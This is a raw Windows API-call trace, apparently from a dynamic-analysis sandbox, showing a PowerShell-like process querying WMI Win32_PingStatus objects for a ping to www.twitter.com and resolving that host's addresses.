WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.911] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.911] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.911] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b6f4*=0, plFlavor=0x228b6f8*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228b6f4*=8, plFlavor=0x228b6f8*=64) returned 0x0 [0162.912] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.912] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.912] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b6f4*=8, plFlavor=0x228b6f8*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228b6f4*=8, plFlavor=0x228b6f8*=64) returned 0x0 [0162.912] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.912] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.912] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.912] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.912] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.912] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b850*=0, plFlavor=0x228b854*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228b850*=8200, plFlavor=0x228b854*=64) returned 0x0 [0162.912] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b850*=8200, plFlavor=0x228b854*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228b850*=8200, plFlavor=0x228b854*=64) returned 0x0 [0162.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.913] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.913] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.913] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bab8*=0, plFlavor=0x228babc*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228bab8*=8, plFlavor=0x228babc*=64) returned 0x0 [0162.913] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.913] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bab8*=8, plFlavor=0x228babc*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228bab8*=8, plFlavor=0x228babc*=64) returned 0x0 [0162.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.913] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.913] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.913] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bbe0*=0, plFlavor=0x228bbe4*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228bbe0*=8200, plFlavor=0x228bbe4*=64) returned 0x0 [0162.914] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bbe0*=8200, plFlavor=0x228bbe4*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228bbe0*=8200, plFlavor=0x228bbe4*=64) returned 0x0 [0162.914] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0162.914] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0162.914] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.914] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0162.914] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0162.914] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.914] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde550 | out: pNames=0x5bde550*="\x01ƀ\x04") returned 0x0 [0162.914] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.915] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.915] SafeArrayGetLBound (in: psa=0x5f8aeb0, nDim=0x1, plLbound=0x5bde3e8 | out: plLbound=0x5bde3e8) returned 0x0 [0162.915] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c430*=0, plFlavor=0x228c434*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228c430*=3, plFlavor=0x228c434*=64) returned 0x0 [0162.916] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c464*=0, plFlavor=0x228c468*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228c464*=8, plFlavor=0x228c468*=64) returned 0x0 [0162.916] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c4bc*=0, plFlavor=0x228c4c0*=0 | out: pVal=0x5bde54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c4bc*=8, plFlavor=0x228c4c0*=64) returned 0x0 [0162.916] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c4e4*=0, plFlavor=0x228c4e8*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228c4e4*=8, plFlavor=0x228c4e8*=64) returned 0x0 [0162.916] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c53c*=0, plFlavor=0x228c540*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228c53c*=8, plFlavor=0x228c540*=64) returned 0x0 [0162.916] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c718*=0, plFlavor=0x228c71c*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228c718*=3, plFlavor=0x228c71c*=64) returned 0x0 [0162.918] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c74c*=0, plFlavor=0x228c750*=0 | out: pVal=0x5bde54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228c74c*=8200, plFlavor=0x228c750*=64) returned 0x0 [0162.918] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c780*=0, plFlavor=0x228c784*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228c780*=8, plFlavor=0x228c784*=64) returned 0x0 [0162.919] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c7cc*=0, plFlavor=0x228c7d0*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228c7cc*=8, plFlavor=0x228c7d0*=64) returned 0x0 [0162.919] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c818*=0, plFlavor=0x228c81c*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228c818*=8, plFlavor=0x228c81c*=64) returned 0x0 [0162.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde590 | out: puCount=0x5bde590*=0x2) returned 0x0 [0162.919] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde58c*=0xf, pszText=0x0) returned 0x0 [0162.919] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.919] IWbemClassObject:Get (in: This=0x5f6b650, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228ca50*=0, plFlavor=0x228ca54*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x228ca50*=8, plFlavor=0x228ca54*=0) returned 0x0 [0162.919] IWbemClassObject:Get (in: This=0x5f6b650, wszName="address", lFlags=0, pVal=0x5bde5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228ca50*=8, plFlavor=0x228ca54*=0 | out: pVal=0x5bde5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x228ca50*=8, plFlavor=0x228ca54*=0) returned 0x0 [0162.920] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde5d8 | out: ppResult=0x5bde5d8*=0x5f98a60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa3688*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98c68*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa36a0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0162.922] FreeAddrInfoW (pAddrInfo=0x5f98a60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa3688*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98c68*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa36a0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0162.922] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0162.923] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0162.923] EtwEventActivityIdControl () returned 0x0 [0162.923] EtwEventActivityIdControl () returned 0x0 [0162.923] EtwEventActivityIdControl () returned 0x0 [0162.924] EtwEventActivityIdControl () returned 0x0 [0162.924] EtwEventActivityIdControl () returned 0x0 [0162.924] EtwEventActivityIdControl () returned 0x0 [0162.927] EtwEventWriteTransfer () returned 0x0 [0162.929] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x564 [0162.930] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.930] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.930] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.930] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2297f18*=0, plFlavor=0x2297f1c*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2297f18*=8, plFlavor=0x2297f1c*=64) returned 0x0 [0162.930] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.930] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.930] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2297f18*=8, plFlavor=0x2297f1c*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2297f18*=8, plFlavor=0x2297f1c*=64) returned 0x0 [0162.930] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.930] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.930] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.930] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.930] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.930] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2297fb4*=0, plFlavor=0x2297fb8*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2297fb4*=8, plFlavor=0x2297fb8*=64) returned 0x0 [0162.930] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.931] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.931] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2297fb4*=8, plFlavor=0x2297fb8*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2297fb4*=8, plFlavor=0x2297fb8*=64) returned 0x0 [0162.931] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.931] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.931] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.931] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.931] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.931] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298110*=0, plFlavor=0x2298114*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2298110*=8200, plFlavor=0x2298114*=64) returned 0x0 [0162.931] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298110*=8200, plFlavor=0x2298114*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2298110*=8200, plFlavor=0x2298114*=64) returned 0x0 [0162.932] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.932] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.932] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.932] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298378*=0, plFlavor=0x229837c*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2298378*=8, plFlavor=0x229837c*=64) returned 0x0 [0162.932] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.932] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.932] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298378*=8, plFlavor=0x229837c*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2298378*=8, plFlavor=0x229837c*=64) returned 0x0 [0162.932] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.932] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.932] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.932] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.932] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.932] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22984a0*=0, plFlavor=0x22984a4*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22984a0*=8200, plFlavor=0x22984a4*=64) returned 0x0 [0162.933] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22984a0*=8200, plFlavor=0x22984a4*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22984a0*=8200, plFlavor=0x22984a4*=64) returned 0x0 [0162.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0162.933] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0162.933] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0162.933] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0162.933] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.933] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde550 | out: pNames=0x5bde550*="\x01ƀ\x04") returned 0x0 [0162.933] 